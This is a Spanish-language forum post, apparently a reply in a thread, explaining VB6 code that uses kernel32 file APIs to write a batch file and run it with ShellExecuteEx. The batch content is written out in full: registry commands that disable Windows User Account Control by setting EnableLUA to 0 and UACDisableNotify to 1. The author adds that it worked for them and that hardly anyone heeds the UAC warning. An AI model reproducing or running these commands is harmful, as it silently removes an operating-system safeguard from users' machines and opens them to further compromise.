no soy el autor pero seguro no entiendes las apis;
Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long
Solo te dire que son las instrucciones para Crear un Archivo, Escribir en un Archivo y Cerrar El archivo abierto (En ese orden)
Es por decir:
Open RutaArchivo for mododeabrir as id ' // CreateFile (API)
' //WriteFile (API)
' // ReadFile (API)
'put
'write
'etc
Close id ' // CloseHandle
En si lo unico que hace es un archivo Bat y lo ejecuta con la api ShellExecuteEx
El bat contiene esto:
strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"
En si El vb6 no ejecuta el permitir privilegios, si no mas bien ees el bat (Lenguaje Batch)
Dulces Lunas!¡.
pero a mi me funciono y eso de que te avisa la uac casi nadie le da bolilla
Mostrar Mensajes